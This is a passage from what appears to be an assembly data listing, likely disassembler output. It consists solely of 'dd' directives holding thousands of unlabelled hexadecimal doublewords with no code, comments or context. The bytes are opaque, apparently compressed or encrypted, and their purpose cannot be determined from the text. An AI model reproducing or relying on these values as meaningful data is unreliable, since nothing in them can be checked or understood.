38EE3E0Dh, 0FC73B31h, 7A7F9118h, 702E4980h dd 61E947F6h, 3A20806Ch, 0FF559107h, 8EBE0012h, 14DFC82h dd 0D3A2A2AAh, 6C569021h, 0E5AC401Dh, 10E697BFh, 0E4C018DBh dd 0EF4BDC60h, 6A14A310h, 7A803DC8h, 81364B15h, 51B7021Ch dd 3FC32F80h, 5B7388A0h, 1400A7AEh, 0E1BD1992h, 0C57D65Dh dd 0F99A889h, 671DE7B0h, 0A9C0B668h, 2ABB79F7h, 28E732Fh dd 6483F306h, 0E4801309h, 0F23A1233h, 2098DD07h, 0E46036B8h dd 0DCE7B0h, 0EAD995C7h, 2361CCECh, 0AAF30807h, 597073ADh dd 883FEEh, 8470557Ch, 0D2BD78C5h, 3600EAE2h, 37DE0F7Eh dd 24F48C51h, 69DDFFBh, 0F8CF11B9h, 0B03B7B01h, 7AD4B6E9h dd 0AEF8A06Eh, 4D00AF70h, 0C3F980DEh, 7EB66104h, 3508C3ACh dd 1000C859h, 0AE86C9Bh, 0E2B31E27h, 0E0CFB001h, 0FF160CBDh dd 583C053Eh, 4B569B1Dh, 984F28F1h, 14B38B10h, 0D5082181h dd 2B51FB62h, 8232599h, 8C802D14h, 0CAF54180h, 1C670019h dd 2D5E040h, 4800C6B0h, 602A20BBh, 3946B6E2h, 548CA585h dd 40F60364h, 8C6E4800h, 0FCDE659Ch, 77703D1h, 0FFAEF517h dd 85D77CA0h, 8734BC03h, 801ED357h, 0B8902FC9h, 6749028h dd 6CE8FC95h, 0FC809EAFh, 0FE4BC8Fh, 20C07630h, 652FFAh dd 0C7B1D089h, 91A3DC2Eh, 857ECE07h, 0E090D5B8h, 0FA9E68E9h dd 0C9AF0073h, 109C36A1h, 37EC223Fh, 408D8500h, 1DE396F7h dd 68AB3857h, 0CB419A8Fh, 210AFB73h, 500084EBh, 0E98F6ABCh dd 0DA0431A3h, 0F85940B8h, 1A01A4B5h, 0C16DB2D6h, 88ECCB2Dh dd 68D71C67h, 0EC46D831h, 0E9FC8B36h, 4117997Ch, 0F1C710Dh dd 9BEC9240h, 45CCBFh, 0D6C13BCBh, 1776166h, 7BC6F91Fh dd 50C791C0h, 0A0EDA5h, 0E44E8A79h, 1C99CC5Ch, 0C182B900h dd 0A397511Ah, 43E703A1h, 7FAF1DDBh, 80194199h, 81D8BBBCh dd 78C5FBFh, 0F8CAB3FFh, 56B89072h, 0AE607A9Ch, 9FFD7CD0h dd 0D9190049h, 5F432E5Ah, 3305C12Bh, 644E7ABEh, 0B89AD483h dd 0BD9FEEh, 1B7C2C4Fh, 0A01809BAh, 31645600h, 0CC1586E8h dd 0F0B14EFh, 74F8D2h, 5EACA734h, 0C2F7E510h, 0A281E0A0h dd 91275A03h, 0C839A985h, 255544h, 80E2FC08h, 4FD2F5CDh dd 0AC795E00h, 0B4A58415h, 0A6FA00B9h, 6FF98BA7h, 0B56004BDh dd 443228EAh, 428D1C21h, 0E9C74029h, 4FFD199Eh, 255DAC00h dd 92AEFA71h, 16D200EAh, 0FE890F6Bh, 8E00C704h, 852B14C2h dd 0E4033758h, 0D0E69Fh, 26958971h, 4434C06Bh, 69044C09h dd 606C12EFh, 24BBE51h, 0FE0F949Fh, 6840E0DCh, 4C006AAFh dd 0F61475BDh, 6DA603h, 5F20F2E9h, 261B2313h, 6E9F620Eh dd 0BCC9C351h, 853BE822h, 0F07700CAh, 9173C34h, 6E006A7Bh dd 127FF20Fh, 0FD6CBF9h, 4B9FE413h, 0BF774D01h, 0A09024DDh dd 7A79558h, 924666FEh, 0EFE6E0E0h, 5F240040h, 0FD08DB35h dd 0A3B0B361h, 4AD4BE1Dh, 6E787080h, 1CA1D884h, 1FF743DAh dd 133A4005h, 37AA9F27h, 8059D430h, 3E8A6FDh, 0D653EF55h dd 61B0ECDEh, 2200F96Bh, 0BD4F67E3h, 0E9A8835h, 0CD9BEFA6h dd 60CE15C7h, 0F6B457FFh, 351FFD00h, 7D754E09h, 7771001Bh dd 49C60DB3h, 5500C83Fh, 4138D26Eh, 1E723E0h, 8BEE0FF5h dd 0E437C161h, 0C32853BAh, 5A0090C7h, 94EBA36Bh, 0EE5CFBCFh dd 93F90C78h, 617889CBh, 0E8D0D80Fh, 0FAEC00FFh, 2696A9DAh dd 7645323h, 507B2ECBh, 0F9C5C899h, 3C073501h, 0CD4A93D4h dd 6B29C4h, 0EB1BBA3Eh, 67B0FA75h, 0EE6F4500h, 5EBB1E54h dd 44C30039h, 7AFE7DDDh, 37127869h, 890027ECh, 398B9C46h dd 1FC7002Eh, 0AE43F751h, 0B47D47C6h, 3D6B7C03h, 0C00BF0BDh dd 1D91DD4Dh, 7E66AAC9h dd 0B188DA80h, 0B5580E33h, 0F4D0501Ch, 0DF17A880h, 6898A4h dd 42152595h, 0FC52855Ah, 40A51800h, 87A9C0EEh, 16D979B8h dd 0B30328h, 264DC380h, 0CF008251h, 0B6102422h, 328A17h dd 95732E42h, 2DA13935h, 76333E00h, 8303D6B0h, 819200B9h dd 97A53AA4h, 0D4E39B6Dh, 280361D9h, 57BB4B24h, 3F41A045h dd 467EA2h, 0C4BDC789h, 2B5E9009h, 0ADC3E700h, 191B3613h dd 0E96A00C9h, 6596F4DFh, 5802D906h, 0E7800163h, 86A140A1h dd 79AB0049h, 264CB3D2h, 0FE00F35Eh, 0F03DFDBDh, 3A97DFDDh dd 0A68121F1h, 9431041h, 0D7E5FC67h, 9CFFDB75h, 0B8809A58h dd 4D8B18FAh, 0F3BC0069h, 97F28DDEh, 5E00E246h, 0FC0616FBh dd 0EA3FA6AAh, 3E420031h, 1F9B8E39h, 0F805F65Fh, 7E64EDEFh dd 0D9E69700h, 351792h, 1B812D89h, 54D5F78Dh, 0D6080500h dd 0DAD47A8Eh, 6B630070h, 0F91BF622h, 41005232h, 962A0DBAh dd 0E874331h, 0E1323ABh, 8E3AA960h, 86078432h, 4BD063B3h dd 0A3986241h, 0CB4AB03Ah, 1FD11800h, 0D4F084B1h, 7EE679FCh dd 0DD2C1F6Ch, 0AC06C019h, 1FE707A0h, 80046F6h, 9D60F610h dd 7C77FCAh, 1B82449h, 0C6A410A9h, 0DD009537h, 7B26B3ECh dd 0FC913DAh, 29BFF706h, 6E470517h, 0F281002Bh, 35165466h dd 8948A303h, 0D021E61Eh, 5EAEF1Ch, 5DB58A94h, 0C8C2C10Fh dd 7CF8E8BFh, 5372E01h, 7EDDD2F6h, 725780E8h, 0E9D93E1Eh dd 2F88D687h, 0BE40D097h, 8CA84CC6h, 0B88384E8h, 71885492h dd 19AA008Dh, 1F01FBE3h, 9600B004h, 0BC53B895h, 1FD4051h dd 0EED5F542h, 0D857BAA7h, 170128A6h, 0EDD2DFD4h, 56D43A92h dd 710B0043h, 79525915h, 0B200D432h, 1572FF5h, 0AD30C6h dd 51CB9EFAh, 0CE67DCA1h, 0CD37C000h, 6C8CEC57h, 1F72E8D7h dd 80057D86h, 985A961Bh, 0D5091444h, 802C3D8Fh, 59CFEA5Dh dd 5BEE00A9h, 0B4A20464h, 0AD128654h, 14003865h, 26214392h dd 5C4C803Bh, 7CC38A05h, 0AF80AB86h, 48AD421Fh, 0CC0086BBh dd 6303B8A4h, 9A48470Ch, 1F451278h, 80EB4100h, 6D84FFh dd 1EB1134Ch, 8D249EDCh, 0C1B33107h, 3E30D41Ch, 78E6375Bh dd 5AC90061h, 9E8F828Ch, 1E1D327Eh, 9B893197h, 1378013Ch dd 0A0498DF7h, 3B06E4h, 1AFD2260h, 2E139B7Dh, 0A978ABF2h dd 0D1EA3Ah, 727061B5h, 73CA8Bh, 1BF85408h, 29E2B6Dh, 0D60F8600h dd 5DBBE4C5h, 54570064h, 6544312Eh, 7B00DC96h, 56D41172h dd 1C9A9Eh, 0DDA480BAh, 0B3B50761h, 9519B00h, 90C772BBh dd 0C43C0F2Ah, 0A2401CA6h, 0B23E5531h, 22073D98h, 3D0368F3h dd 0D8CDA380h, 7D4802EFh, 6CE173B9h, 27782060h, 0C8AD8F00h dd 0BAEF9E32h, 88400CFh, 1E626DDAh, 0C9000D79h, 14690522h dd 0C0BAADh, 0AC83AEE6h, 6CE9ECA1h, 7A2A393Ah, 917CC879h dd 9826021Fh, 3A2B31C0h, 1F6086F2h, 6B1C2h, 52A77CB7h dd 5524F3C5h, 0E02098EBh, 57AAC01Dh, 0B1839380h, 2D3587h dd 1BABC8Fh, 9ED7C1FBh, 82DAE600h, 4AB34033h, 0C42B07D0h dd 0D08870F1h, 535FA0Bh, 1ADAA38h, 193AA614h, 61B916A4h dd 96421Fh, 0E561EB34h, 81071592h, 0ADCE9585h, 11661B60h dd 0CF3D0D9Dh, 0E298E25Ch, 0C0D4AA61h, 7500E590h, 2DA61B95h dd 0C915A10h, 175D18DFh, 7B1EA861h, 7A006476h, 0CB8CEE96h dd 0C6DB03FCh, 5F6AAF3h, 9ED21800h, 0B1668DB0h, 3890066Eh dd 691389B2h, 9E461003h, 14F19530h, 60A61980h, 76639601h dd 0D183A2EDh, 1951F417h, 3170A754h, 6889500h, 0A35DDE7Ah dd 0F73C0083h, 28CEAB46h, 2E00E6D5h, 0E438B9EBh, 0E591A47h dd 5C81F755h, 3FC89BC1h, 0DDF6D8F3h, 0B3322A1Ch, 0DFF2F900h dd 7F41E49h, 409E23E6h, 0AE4701EBh, 3AF8CCEEh, 0DEB90500h dd 7C1A39F4h, 0CBD50044h, 0BEFAC3DAh, 0E90BB275h, 872504CAh dd 0D1A136FAh, 0E180A64Eh, 0CCE3D8BCh, 0B37E87EFh, 0D70F4A76h dd 0E37E495Bh, 0B777C629h, 480931B2h, 17CC14h, 94C8FAABh dd 0B9D39BADh, 78C681Ch, 0DE43E703h, 0E0283F09h, 9E0C6426h dd 0D1F6413Eh, 5740ADC7h, 2BFBB098h, 0D916C6FDh, 2D063DDFh dd 99AA4Fh, 0DAF2423Ah, 0B5B157E7h, 7DB85B01h, 5AD6C280h dd 79B43060h, 36578AEh, 89FEC4C6h, 5CE0C80Eh, 0D1E40C9Bh dd 16B66E00h, 5AE7F842h, 0D8E216B5h, 67E20CCEh, 151CC999h dd 83C07E6Dh, 1B6B8471h, 0C6200743h, 906022FEh, 97C5CDB7h dd 148C772h, 324301ACh, 89669BC3h, 15952440h, 5A340E2Dh dd 9DC7183Fh, 8199090h, 2A3EE6E8h, 0FF67800Eh, 89AAFD1Fh dd 0DEF809h, 0E4E0A3ACh, 0F8BFB51Dh, 0E5A92B0Fh, 47011234h dd 0E80F57E9h, 0C8A14D70h, 0C287A929h, 5790C8FFh, 6DD95Fh dd 3A69CFA7h, 8679423Dh, 807AEE2h, 0B1F23F21h, 0DFAC9800h dd 1504000Eh, 84A0D95Eh, 0DA00C110h, 63C9A9F7h, 662218h dd 90121BE7h, 57D85E56h, 84D3E907h, 0AA675D28h, 0A3CC55C0h dd 15970059h, 94E011EFh, 0DF00EBFAh, 0AFF7CA34h, 0B9E2A5h dd 0D5B01FF9h, 742FE4C3h, 2E38711Fh, 0BA6B4400h, 0B71DD9h dd 667F1032h, 0C835CE6Fh, 810DF500h, 0CA2201E6h, 2E4F0ABEh dd 1FA0E7F3h, 0FF07C75Dh, 0EE4750D5h, 0E374A49Ch, 6B45DC03h dd 9BF7504Dh, 9BE1D037h, 0FF76FEh, 0C64E869Ah, 41160C20h dd 6A437103h, 0E0A649ACh, 0BF4B8Eh, 0EACCDB67h, 8104C53Ch dd 0E80B5573h, 7F914Fh, 0E5878D49h, 1A3500D8h, 0AFA520Bh dd 3D05F46Dh, 7AFB6BA7h, 0C0FBB385h, 0CFA805C0h, 0B0B6E60Fh dd 6003EB8h, 82168880h, 0D7865C44h, 694B6E07h, 0C03E9FFh dd 0C8A812C2h, 6D0076D1h, 0DCC7A035h, 0F537F69h, 0A6FB794Dh dd 3D8808E0h, 9A71CC0Fh, 849C8300h, 92ABE83Ch, 735B0078h dd 0D8AF1662h, 98003ED6h, 47350F85h, 77E39D6Ch, 21F604Bh dd 0D4B8972Ah, 46D03000h, 338F2302h, 0C1B007Fh, 93C9DC2Bh dd 0DD1C3EBEh, 4480E5A7h, 48F4C0C4h, 38F90068h, 0F6A290F1h dd 97009D09h, 0E631989Eh, 1B0020Dh, 707F9F83h, 0C0E3E046h dd 0A300F7C6h, 13AC308Dh, 23437FAh, 706736CBh, 5460AB9Dh dd 19063B78h, 984F8B1h, 0AEFE2CD0h, 249001Ah, 8BDC6918h dd 6C798909h, 84805FEEh, 0A0665D81h, 5CD2A300h, 6A3F0DCFh dd 0AA8A07A6h, 900A2DF5h, 554F72Ah, 0AE3E9D71h, 0F4F900BFh dd 0B313C2A6h, 0CFA0730h, 70B1D848h, 6E0F148Ah, 29C68D02h dd 0E06B80C3h, 0D8D43Dh, 60F9D724h, 2BFE7433h, 1B8F43Fh dd 77CEB322h, 98201407h, 7DC33D05h, 0D519A900h, 0CFF5BED0h dd 81836300h, 1A009C6h, 1B19C091h, 908E5F50h, 97BCA61Ch dd 0B2C00BDFh, 63F6A4CFh, 0C03A0059h, 0F37EBEE9h, 9271C984h dd 99E4D700h, 0FDF8166Bh, 0A8B07FF2h, 0E7F2498h, 3F063B50h dd 0A303A6C2h, 986922E0h, 3D0FE272h, 0EB8659E3h, 0A4EA0090h dd 0B805095Dh, 0AAC50045h, 0CD11504Fh, 7A03DE9Dh, 660EE858h dd 2EF0008Ah, 1B79E4F0h, 0A400ACD4h, 0E977622Dh, 0C843D7h dd 42B566C5h, 0A8BCA9F3h, 680A48h, 29D8798Eh, 6096A384h dd 2B2D489Ch, 9E009413h, 3AE60AFDh, 60DF3299h, 9F6211DCh dd 0B706D6B3h, 0CCAE76A8h, 0DDA20119h, 31D94C5Fh, 11A9D07Bh dd 16E84100h, 4EE7C9AAh, 54AC98EBh, 0C27C0Dh, 0CD291B1Ch dd 314D84D6h, 0C9EB5007h, 6420B28Fh, 72FFD970h, 7E6A1C91h dd 0A3AF4914h, 70E3E707h, 0DDD74C76h, 74BE9B00h, 0B9ABAAFAh dd 300E00C4h dd 51C35848h, 301F93Ah, 78E3E762h, 85E88F14h, 817300ABh dd 4BC580D3h, 0B601902Dh, 0C6E98BBh, 6370CE14h, 0BFE8485Dh dd 7F656A0Ah, 772300E0h, 0E1472937h, 54988C07h, 0E6001D74h dd 0EE786D43h, 0DFF10250h, 45290709h, 0FDBBEC68h, 1D08200Bh dd 0FEDEB2h, 87C5159Dh, 98482EB8h, 9313E78h, 83FFA628h dd 0B80C35C8h, 45B214h, 9F8A8E89h, 0DC58EEE9h, 19066D09h dd 2880F0Ah, 60D2BF5Ch, 7E6B5F0h, 93676029h, 0D396B0F1h dd 9A00FF52h, 0EFE334C9h, 91E64Dh, 8386810Eh, 79DDC4C7h dd 0C5A658h, 52E57C2Bh, 1D7EE62h, 46F53B25h, 0C8816E29h dd 0F9094C19h, 7A13A7h, 7F777028h, 1CBA1657h, 0F04001Eh dd 24EA4B18h, 97ACC12h, 0EC700800h, 0CE2980h, 3A0EC86Ch dd 29CC012h, 8013263Dh, 29E140E4h, 0F115448h, 5B355983h dd 0B9CB1EE0h, 0E4482879h, 572D0018h, 26604415h, 58CA001Fh dd 0C4F6A645h, 36013D93h, 1BC524A3h, 0FAF03CFEh, 0E8834C96h dd 1DAC9A26h, 68803C53h, 58041811h, 8A002E84h, 818D9CAFh dd 3BD7F2E0h, 68369B2h, 0C7A597BBh, 744494E0h, 7BC6D21Eh dd 0F74BB040h, 12CC8FBh, 5D01219Bh, 3020A6A1h, 230F2528h dd 203EA417h, 3AA30502h, 813D3DAEh, 4DD04C00h, 0DBCE5FFEh dd 8A573Eh, 0CA877722h, 31C328Dh, 0F7A6EC4Ah, 4890333Fh dd 0B800C313h, 5B90F0DAh, 1FE792Bh, 0FF9959C8h, 0C0AB0D3Dh dd 3BEEA323h, 3CC90900h, 86B73296h, 56E21E12h, 55BF4049h dd 0F15D0CF9h, 0DC3EC700h, 0D1D06159h, 6C770E24h, 51000223h dd 0A0B71F21h, 811D5F01h, 0EEA88613h, 738074h, 2225CA72h dd 52A34BC0h, 71104C07h, 5AD36460h, 4192D1A9h, 45460h dd 25773AB2h, 5DCED518h, 240FEB07h, 7D20A574h, 28CB8217h dd 0FA40E5h, 9CC5543Dh, 88844764h, 0FD8ADD1Fh, 0F8EADE8Ah dd 2865E800h, 0F6B1Ch, 7C8EB25Eh, 81F9729h, 1E10A1h, 0B2643Fh dd 0B65ED75Dh, 0E2B911Fh, 4BF087F0h, 1FB04DB8h, 5222800Eh dd 0C002004Fh, 1859C29Ah, 285FD54Ah, 8021D97h, 89F28855h dd 528F55BAh, 3894A18Fh, 0E66F9101h, 0ED3F6671h, 62A3015Fh dd 4A51FFCCh, 651804DEh, 8014D7BEh, 72BCD403h, 80A9163Dh dd 0A1BD2BF8h, 2C7DBB41h, 0CFE257h, 131C73CAh, 2C7ECFE7h dd 0B4E5207h, 466062C2h, 12F4D3h, 0EB6D0558h, 0C901A804h dd 0B800CCECh, 41FA4996h, 1AE197Ch, 0A9CE4E0h, 0BB815F9Bh dd 27AA8081h, 0BD94FDC7h, 0DC051DEAh, 211119BCh, 3D9B20C3h dd 6BDF2903h, 0D773C180h, 11E9BFE0h, 0EA2B7D8Dh, 53F20063h dd 888343C0h, 66633456h, 0D2027D18h, 5F5200BDh, 287C82E4h dd 604C1A37h, 1A72A11h, 86E0F835h, 85561787h, 0DCCE017Ch dd 0D0E6C46Bh, 20C03033h, 47565125h, 0BB8E6A0h, 4BF7CA83h dd 131DF600h, 0FD24E288h, 89834C12h, 6C5F7846h, 7FD18088h dd 0FFB33E07h, 64E3C014h, 0E5FDF88Bh, 6CDDB043h, 0E4148F5h dd 53E78206h, 11DC31h, 0AE4071C8h, 0FA64175Dh, 84F6533h dd 0AB2109D9h, 1F00413Ah, 0B7402BD5h, 13174E19h, 8D184F48h dd 774820FFh, 0C4245F54h, 36A788h, 0D06FE941h, 34CA58F4h dd 0EB2B7806h, 50E44274h, 8C9AE4E5h, 8E24AF04h, 1262ACF6h dd 27B0C420h, 0FF8C00EEh, 91F51C04h, 34247E7Fh, 92055CBFh dd 9407C763h, 724C299Eh, 0A52704FDh, 0C3C9CB18h, 0D0FFA1A2h dd 6F33A663h, 5E57B800h, 8AB95160h, 42600E2h, 0C18BE65Ah dd 6C00986Dh, 31B49BC0h, 0AC7984h, 42CE9353h, 69851562h dd 0C0B62E00h, 884A4894h, 0B13D38CAh, 5487FF83h, 0C0F58B73h dd 5038BFA4h, 10527B00h, 889E50Fh, 0EDC004Bh, 9911CC5Ch dd 462C169Ch, 4002067h, 484E254Dh, 580A001Ah, 274331BEh dd 0D7A7209h, 0FE777BF2h, 0AC299605h, 46E97F4h, 1B3856F0h dd 0A8EA7F42h, 55430B6h, 21F9DD11h, 6BE93700h, 6D87CF53h dd 66F0EFEh, 0FA6CA932h, 8118819h, 222272F5h, 0B1EB5018h dd 0C1E80348h, 0F6A93461h, 3C20A0F9h, 0FDD10A00h, 7DEF4E32h dd 194EE8Ch, 5DDF024h, 805E5B2Eh, 39B8CD18h, 1E372AE5h dd 0CCF8F06h, 6DA0C6F7h, 3CAE8000h, 0D0567EABh, 60766F5Ah dd 88577C80h, 160A77DFh, 4031F1E4h, 0D40B39Fh, 220669BCh dd 14F0098h, 0F461CB7Fh, 921C203Eh, 0D0465297h, 3CC0CF1Ah dd 0B8E07C83h, 0D7815715h, 803EAD3Ch, 0BBC20506h, 0A280929h dd 0D2F7E837h, 0E57D0034h, 0A184A933h, 4055D130h, 107956BFh dd 0F679B87h, 803B467Fh, 29D8141Ah, 1E890322h, 42D37DB6h dd 0B473F3E0h, 5001CCF4h, 0C4FFA9E4h, 34F10649h, 61D2D1F0h dd 46B3AA2Bh, 55AC503Ah, 9C1533B7h, 0E8014Ch, 7689D20Ah dd 292BF996h, 1FC02D8h, 0FF53AA05h, 2AC09C08h, 8006F14Ch dd 1F85FCBh, 6188BDA4h, 839840B9h, 0C7157489h, 0C2245682h dd 2427DBBBh, 0AE9B42E5h, 0A390AF25h, 0F83FCBA8h, 1A9355Dh dd 0F92C7B99h, 0E4A2FF07h, 291D8202h, 910E4A3Ah, 3E06DFF5h dd 1490F014h, 0FC7F57D0h, 0B6875A07h, 0AD824134h, 533ECC38h dd 0A9625506h, 39B8E507h, 0D23D471Ah, 19C015FCh, 33C45814h dd 412248DCh, 83083811h, 6FDB2D28h, 1D88D9E9h, 74048055h dd 0C41FDD9Eh, 882F1EC1h, 88500268h, 48C122FFh, 7667B71Ch dd 16E1B081h, 0CCA5EF92h, 0FF33A745h, 0A82C18C8h, 48EEE394h dd 9700587Dh, 9B3CAF0Ch, 0D23B567Ch, 28F9241Ah, 7158140h dd 24D47CB9h, 447457FFh, 414089AAh, 5A75B790h, 780B28F4h dd 504EEF06h, 12207A1Dh, 20D93D94h, 0EE5A1FECh, 0B8E64A03h dd 443BDC96h, 76FCE0h, 982A0756h, 111975D3h, 3058014h dd 1EA7C234h, 0FDB51128h, 306C8CCh, 7829A464h, 0F7A7CC80h dd 14077D1Fh, 9C1DB84Dh, 343DBD00h, 704BA27Bh, 0BB00F979h dd 5FBE6EF1h, 1226A19Ah, 477E1E50h, 0CF936Ch, 82BD96FFh dd 0B83C0800h, 92F7E919h, 3A620580h, 943B4Bh, 66C2BD88h dd 9802078Dh, 12F71011h, 5550667Fh, 0F1BEECB6h, 7737B500h dd 0F79CCDBCh, 0C4F5112Ah, 763DE9F8h, 0CC32804Bh, 8137A29Bh dd 0F203CCBh, 0C350A49Dh, 0EF6C4335h, 0B802CCD3h, 86513C69h dd 1BDC8036h, 0E45358FFh, 20134903h, 0EC66D600h, 6BDD2CBh dd 0FDB880C0h, 61B7479Ch, 699BF1CAh, 42489131h, 66AA2103h dd 2811A170h, 95007C1Eh, 6987D626h, 590CBB35h, 6939C703h dd 0FEB5075Eh, 0C655E858h, 0E9DF19D3h, 85603000h, 12E5EC69h dd 9DFF44h, 3FD6A6DCh, 5E00F34Ch, 0A3173CBBh, 49FD062Eh dd 20419CC8h, 0E360F8h, 0EEBB58F9h, 29D976F2h, 5AD6C606h dd 0B020B5h, 4EA33C9Ah, 0CA580DFAh, 1807DD24h, 0DC31FC0Ah dd 0DAFF003Eh, 0B3EE1A7Dh, 81C013CDh, 0F980170h, 248DBBCCh dd 0AB0C4078h, 18350366h, 0AD7B24A3h, 0F7EB0AACh, 3F2360E8h dd 0F9077EAFh, 7046985Bh, 0A0266722h, 0CE392BBCh, 0FC1E53BDh dd 0BBB7C009h, 64F8F800h, 0F01E794Ch, 0EF403C77h, 7ADFCC47h dd 13E0D3h, 23EA27Fh, 0E9B31F06h, 51FC827Ch, 20309826h dd 3816D105h, 0DAF7B030h, 208904Dh, 0FF0CE429h, 0B8806830h dd 97A0E594h, 10796004h, 8CC50FD2h, 1CF85020h, 7DC604BDh dd 6C921h, 4773CDD6h, 0B08D5033h, 0E5584C5Eh, 0DD8EB900h dd 7D507929h, 700241D3h, 603C847Ah, 1E9288h, 4C2B3FAAh dd 0A69A52A3h, 58E8C612h, 5FF2800h, 3FE5C74Fh, 0B5859804h dd 82B797D1h dd 846855F8h, 7A158D0Fh, 5494DBD7h, 0F87D0CE8h, 14A2CF77h dd 2A09B800h, 79168236h, 0BC5F07D7h, 1E916C4Eh, 1000BAD3h dd 0AAE75764h, 968F012Eh, 0B63526E3h, 14C0EEE4h, 0EB127A44h dd 0C009C56h, 43EE0761h, 77D200D9h, 20C9D701h, 861D52DFh dd 0C01CEC1Eh, 0C095294Eh, 8C94237Ch, 3B80035h, 7B01DBE9h dd 85097F0Dh, 941F0ACDh, 0DBD616E0h, 0A98031B5h, 0F08C350Eh dd 30B83CCFh, 0A4172893h, 409B9C28h, 349079E8h, 240F4444h dd 0BCE4FEF7h, 0D616B009h, 0BA898C0Fh, 80086811h, 58FB7149h dd 9AEDD6C8h, 0E964004h, 995B7A40h, 65E9120h, 97FDBC96h dd 7EB22128h, 20683C09h, 0CD9A51C8h, 0B184EBD2h, 92C7853Dh dd 4061BFACh, 8F209167h, 59F7864h, 4C467EDAh, 222861D9h dd 650306A3h, 3566C46Ch, 6AA8E3CCh, 134CE119h, 0A03802FDh dd 2460B432h, 901FF304h, 0A2C03CBCh, 0AEA69B40h, 0BF5214E8h dd 71CB8857h, 0B2660010h, 2FF0FDE8h, 0ACA6E426h, 0D7741849h dd 0C4311679h, 0B32828B6h, 0B76B4712h, 57683400h, 49D48351h dd 113BAC29h, 809D0DDh, 6890FA2Ah, 4B024091h, 0ABBD4807h dd 2808B79h, 0E0313714h, 12CD8648h, 0B8F988h, 2C9AA268h dd 0C713CBF3h, 24210563h, 207BC0Bh, 244812AAh, 0A53B8F44h dd 0E4DFAC1h, 0C82A8468h, 4EDD9000h, 8921653h, 3A445092h dd 34100755h, 8A1A6492h, 0F175184Ch, 9960BBD3h, 6C325751h dd 0CF513EB2h, 5046116h, 128770ECh, 9810225Ch, 7CFEF4E0h dd 8222DD07h, 37C11EE7h, 0C02447C8h, 0ECB955E1h, 0D312047Ah dd 4EF08151h, 0C419AC2Fh, 30019413h, 0C3CC100Ch, 63806C50h dd 64B0581Ch, 3442EF80h, 1716FFD1h, 24300237h, 5051B38Eh dd 10E9077h, 5D628C98h, 0D0691CD9h, 18AD1801h, 0DB258480h dd 3B95F4h, 1CA2FEC3h, 79D04102h, 9C9A33B0h, 0E07F59h dd 0A9C3C8B2h, 3372A5Eh, 3D29A19Bh, 34F831C2h, 4A02B590h dd 0C64516Ch, 42748F18h, 61802C41h, 404829A8h, 73B70067h dd 6DCC0DC4h, 5B5C4084h, 2077B1C4h, 0F8C88C55h, 84722863h dd 44F098C8h, 5C09F83Ah, 807B3681h, 2F0EA290h, 0E80CB2EDh dd 1DE003h, 0C19D0944h, 0A23BFEF8h, 0EE054D05h, 84BB814Eh dd 476CD0F0h, 10BA21BDh, 5ABF2A09h, 0D03F0323h, 81D903CDh dd 2D16B46h, 7E6048h, 3B4ABD82h, 3B2B7D37h, 4404D24Eh dd 0B4220881h, 0B49823E4h, 2D03F00h, 52A27DABh, 46BD0181h dd 69CA3439h, 0CBB920CCh, 980F2205h, 822CD93h, 0B7A83091h dd 0CE3E3471h, 82E10280h, 60AB066Bh, 122944D8h, 1D2C4ADDh dd 0CA379D04h, 42304097h, 4440B7D8h, 3D095599h, 8E488F8Dh dd 49C50070h, 7529EE01h, 0CF8202FBh, 0DE7A081Dh, 442C1C50h dd 0B242B8A3h, 8E6B4357h, 21FC9218h, 6A903B47h, 5E3DFB1h dd 14B02098h, 0C049BE01h, 282B427Ah, 0E28E875h, 0EB17B43Ch dd 0C44DCE96h, 2070C0A3h, 88335C67h, 0DC0824h, 57773678h dd 0EA440329h, 0CDA826EDh, 305F0170h, 60582035h, 0C477FF34h dd 4EF31B00h, 567889BDh, 18E8B0E4h, 0D809A334h, 99D281h dd 0ACE9700Eh, 134938CCh, 8147F303h, 30E75C3Ch, 0FA5CCBCAh dd 50A40588h, 832C609h, 0DC4930D0h, 0EDBD5213h, 0C4814h dd 483CA57Fh, 0AB331D8h, 0A02979FAh, 0D5907144h, 2CD46702h dd 0A700C8CCh, 77345095h, 0AAF7009Bh, 0EC6053E3h, 5518517Fh dd 0A9381A05h, 14808B7Eh, 9660E57Ch, 0BBB87F61h, 0BCEF29F0h dd 7A2E00D0h, 8C80BA33h, 0B250C09Ch, 0D44951B5h, 5894CC0Dh dd 89F7B0C5h, 4E1A412h, 0CC20873Bh, 2029E455h, 59EE1044h dd 0B5292EFAh, 7AE902B0h, 8995F2Bh, 386B184Dh, 7C480718h dd 9046CC50h, 69F894h, 0BB33602Ch, 4527083Bh, 3C22D090h dd 6D5601DEh, 0DCBF97ACh, 20FC2129h, 9A4B0E50h, 21D1DC29h dd 0B0422C00h, 0DE2C28B2h, 508C34D5h, 2A3117h, 0EC7B9B79h dd 6F553D2h, 0EBE9A800h, 498B7F9Dh, 0B93A0959h, 1C890A3Bh dd 10CD5007h, 144034C3h, 90063706h, 683029h, 7DB877FBh dd 1DC8D57h, 60497F4Eh, 0FB03850h, 536D1F6Eh, 0B12284D8h dd 254F31Dh, 7B47B55Ch, 924448C1h, 0E08F4C4Ch, 0D32CCC3Eh dd 1992B8h, 0B67F5510h, 9F26867Ah, 0B4051034h, 20C046AEh dd 7F7682EEh, 0F618C167h, 607CF2D2h, 15048190h, 0D9B3CE0Dh dd 3DED58B1h, 2C2C03D4h, 8048B4FAh, 7B46A047h, 970081CBh dd 20579CDh, 0BBCE40h, 372175E7h, 0A863FE8h, 0DB08C0A5h dd 0F9950113h, 70ABD8A9h, 6F00A34Ch, 0FDFB1CB6h, 3237B899h dd 0A438AF40h, 3388C868h, 0E00218A8h, 0B8830A5h, 342A0214h dd 0C048A52Fh, 6400152Dh, 4C8B527h, 0F98C75B2h, 188E79D8h dd 0D81F44FFh, 0E3018857h, 87CF16F7h, 883CBD25h, 7914D21Bh dd 0AF951810h, 0FF497087h, 9C10A08Bh, 341A3EAAh, 0D31151B7h dd 0AC658100h, 1B089315h, 0CACF741Ch, 0BD06FF3h, 0D042A90Ah dd 3C05A478h, 0D20DD4E2h, 1AF8D843h, 3D1101D3h, 7AA9A886h dd 14475FDh, 6C1B72E6h, 1FCF0680h, 2586D2Fh, 0DB3550F8h dd 0A444D2CBh, 90D8B567h, 8870C080h, 6097F816h, 0E642214Fh dd 37016919h, 0D70A11A9h, 6820E88Ch, 0DAC609BBh, 0D8C039A2h dd 0C505366Fh, 0D08D9C63h, 0F9BD00BBh, 19BDF2E9h, 0FECD8118h dd 0B78510h, 0D9C167F3h, 880CE11Ah, 0A9D5D200h, 0B0481091h dd 0FBA4A80Dh, 39CD30CBh, 6929D6A9h, 160EB73Fh, 0E90B51FCh dd 480089C7h, 0F0948D30h, 